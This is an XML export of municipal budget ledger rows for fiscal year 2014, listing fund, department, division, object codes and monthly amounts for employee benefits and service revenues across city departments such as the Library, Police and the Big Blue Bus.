<row _id="10720"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>13205.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>145</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13350.0</total></row>
<row _id="10721"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>35602.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>452</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>36054.0</total></row>
<row _id="10722"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>998.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>998.0</total></row>
<row _id="10723"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>21499.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>1230</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>22729.0</total></row>
<row _id="10724"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401007.0</object><object_description>SWIM CENTER-SEMI-PRIVATE LESSO</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-85832.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-85832.0</total></row>
<row _id="10725"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>403720.0</object><object_description>HUD SERIAL INEBRIATE GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>-21672</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-21672.0</total></row>
<row _id="10726"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>533670.0</object><object_description>IMAGING COSTS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3048.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3048.0</total></row>
<row _id="10727"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3563.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3563.0</total></row>
<row _id="10728"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>509.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>509.0</total></row>
<row _id="10729"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2778.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2778.0</total></row>
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<row _id="10754"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5214.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5214.0</total></row>
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<row _id="10756"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>837.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>837.0</total></row>
<row _id="10757"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>344.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>344.0</total></row>
<row _id="10758"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>401730.0</object><object_description>LIBRARY CAFE UTILITY REIMBURSE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-11000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-11000.0</total></row>
<row _id="10759"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>407720.0</object><object_description>ENCLOSURE PLAN CHECK FEES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-56258.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-56258.0</total></row>
<row _id="10760"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>566260.0</object><object_description>SPECIAL EVENTS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="10761"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>407610.0</object><object_description>I-NET REVENUE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-35700.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-35700.0</total></row>
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<row _id="10763"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2565.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2565.0</total></row>
<row _id="10764"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>19119.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>708.0</january><february>-1738</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18089.0</total></row>
<row _id="10765"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>11851.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>375.0</january><february>-1217</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11009.0</total></row>
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<row _id="10772"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>768.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>768.0</total></row>
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<row _id="10774"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3366.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>25</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3391.0</total></row>
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<row _id="10779"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>9203.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>111</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9314.0</total></row>
<row _id="10780"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4376.0</july><august>0</august><september>0</september><october>0</october><november>100.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4476.0</total></row>
<row _id="10781"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3624.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>24</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3648.0</total></row>
<row _id="10782"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>522.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>522.0</total></row>
<row _id="10783"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5698.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>37</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5735.0</total></row>
<row _id="10784"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>612.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>612.0</total></row>
<row _id="10785"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4605.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4605.0</total></row>
<row _id="10786"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1572.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1572.0</total></row>
<row _id="10787"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>9965.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9965.0</total></row>
<row _id="10788"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>216.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>216.0</total></row>
<row _id="10789"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1470.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1470.0</total></row>
<row _id="10790"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2448.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2448.0</total></row>
<row _id="10791"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3645.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3645.0</total></row>
<row _id="10792"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>23482.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>376</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>23858.0</total></row>
<row _id="10793"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2385.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>42.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2427.0</total></row>
<row _id="10794"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>11534.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>42.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11576.0</total></row>
<row _id="10795"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>11170.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>671</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11841.0</total></row>
<row _id="10796"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4585.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4585.0</total></row>
<row _id="10797"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>11025.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>155</april><may>0</may><june>0.0</june><total>11180.0</total></row>
<row _id="10798"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2806.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2806.0</total></row>
<row _id="10799"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>108498.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>108498.0</total></row>
<row _id="10800"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7434.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7434.0</total></row>
<row _id="10801"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>24257.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>24257.0</total></row>
<row _id="10802"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>15129.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15129.0</total></row>
<row _id="10803"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>42160.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>42160.0</total></row>
<row _id="10804"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>319895.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>319895.0</total></row>
